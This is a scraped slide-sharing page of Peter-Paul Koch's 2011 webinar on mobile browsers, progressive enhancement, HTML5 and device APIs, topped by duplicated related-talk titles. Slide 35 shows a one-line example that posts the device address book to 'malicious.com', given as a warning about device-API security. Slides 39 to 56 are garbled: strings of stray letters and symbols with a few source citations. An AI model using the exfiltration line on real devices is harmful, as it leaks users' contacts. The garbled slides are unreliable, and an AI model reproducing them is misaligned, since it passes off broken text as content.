Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 

Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World

  • 1.
  • 2. State of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Compuware Webinar , 24 March 2011
  • 3. Mobile First! • Design your sites for mobile first. • You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display. • The things you leave out of the mobile version don’t really need to be in the desktop version, either.
  • 4. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb You may groan now.
  • 5. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb WebKit-based
  • 6. WebKit on Mobile There is no WebKit on mobile! There's iPhone Safari (2 and 3), and Android (1.0 and 1.5) and S60 WebKit (v3 and v5) and Blackberry WebKit, and Palm WebKit, and Bolt, Ozone, Teashark, and a few more These WebKits are all different.
  • 7. Exhibit A: WebKit comparison table http://quirksmode.org/webkit.html
  • 8. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 9. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb Proxy browsers
  • 10. Proxy browsers • Page is downloaded to and rendered on a specialised server. • A highly compressed image is sent to the client. • Advantage: cheap, both in device and in network costs • Disadvantage: no client-side interactivity
  • 11. Global stats Q4 2010 (by StatCounter) Safari 23% iOS Stable Opera 22% Many OSs Stable BlackBerry 18% BlackBerry Down Nokia 16% Symbian (and S40) Stable Android 12% Android Up NetFront 4% Sony Ericsson & Samsung Stable Samsung 1% bada Up UCWeb 1% Many OSs Down Others 3%
  • 12. Browser stats • Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats. • Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
  • 14. But usually this is what happens Rest? What rest?
  • 15. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)
  • 16. Progressive enhancement How do you deal with this immense amount of browsers? Use advanced tricks, but make sure your site remains usable without them. The site is enhanced as much as the browser allows.
  • 17. Progressive enhancement HTML All browsers support HTML. That’s the definition of a browser.
  • 18. Progressive enhancement Basic CSS HTML All browsers support most basic CSS. There will be bugs, but only few.
  • 19. Progressive enhancement Advanced CSS Basic CSS HTML Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.
  • 20. Progressive enhancement Advanced CSS Basic CSS Basic JavaScript HTML All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.
  • 21. Progressive enhancement Advanced CSS Advanced JavaScript Basic CSS Basic JavaScript HTML Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.
  • 22. Progressive enhancement CSS animations? Use them. If they don’t work, nothing is lost. Offline storage? Use it. If it doesn’t work, the user reloads the site every time. Not perfect, but it works.
  • 23. Performance How long does it take to generate 250 lists with 20 items each? The following graphs give the number of seconds it took the browsers. http://quirksmode.org/m/tests/DOMspeed.html
  • 26. HTML5 • Which browsers support HTML5? • What is HTML5, anyway? • Ask five web developers and they’ll give you five different answers.
  • 27. HTML5 • Offline storage • Video and audio • Canvas • New input types • Websockets • New semantics • SVG • File API • etc. etc. etc.
  • 28. Offline storage • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 29. SVG • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 30. New input types • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 31. HTML5 • Which browsers support HTML5? • It depends. • HTML5 is mainly a marketing buzzword. • That’s not bad; we need it. • But it has no technical meaning.
  • 32. HTML5 apps • One core app written in HTML, CSS, and JavaScript. • Deployed to several mobile platforms. • Ideally, CSS and JavaScript are stored on the device. • If it can't be deployed it's still a website.
  • 33. Symbian Windows Mobile I’ve done it. In April 2009.
  • 34. Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • Web apps will have to offer them, too. device.phone.call(device.addressBook['mom'])
  • 35. Device APIs var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); There’s a serious security problem here. Providing trusted apps might remain an app store function.
  • 36. Summary • Mobile First! Design for mobile, and your desktop site will become better, too. • Use progressive enhancement. Lots of it. It will keep you sane. • Know which browsers to develop for.
  • 37. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)
  • 38. Thank you • Peter-Paul Koch • http://quirksmode.org • http://twitter.com/ppk • Compuware Webinar , 24 March 2011
  • 39. W Y t / D D t ^ d dK WD ^
  • 40. h d t K s K
  • 41. D D / • D ^ ' D / h W h D h DD h / Source: Mary Meeker, Morgan Stanley
  • 42. d K D ^ • – D W h – : • Z – – • W ' – t – Y • – t d – / • D K K – t / Z – h
  • 43. ^ K D h K D t Y D ^ t D Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
  • 44. , • /
  • 45. ^ , Z D h • E h^ • E – h^ – • D
  • 46. h D /
  • 47. h D K E D • D – • ^
  • 48. W D t W , Z t ^ D W Z Z W ^ Z ^ • Z • / • W d Source: Gomez real user monitoring
  • 49. Y D t / ^ z h WKs d Z • • • ^ W W • / /^W • W s W • ^ • W t • E : ^ D ^ ^ ^ D • /^W • W • E • : Ed • • W • / • ^• ^ ^Y t •E E •/ • ^ •K E t D t E ^ K D • • K WKW • W • • E • • ^D^
  • 50. z h • – t – K – t 'W^ • t • t • t • t • t • t
  • 51. • ,dD – • ^^ –t • W – : ^ – W :^ – D – Z – D :^
  • 52. d / W W •
  • 53. D t / d z h E K K^ ^ K^ W '^
  • 54. K t W D • D • / – ' – / W ^ W ^ W t
  • 55. , d Y t / D D t • • • d • • • K t
  • 56. Y D • / • Z • Z • ^ • Z • / • / • Z ^ W '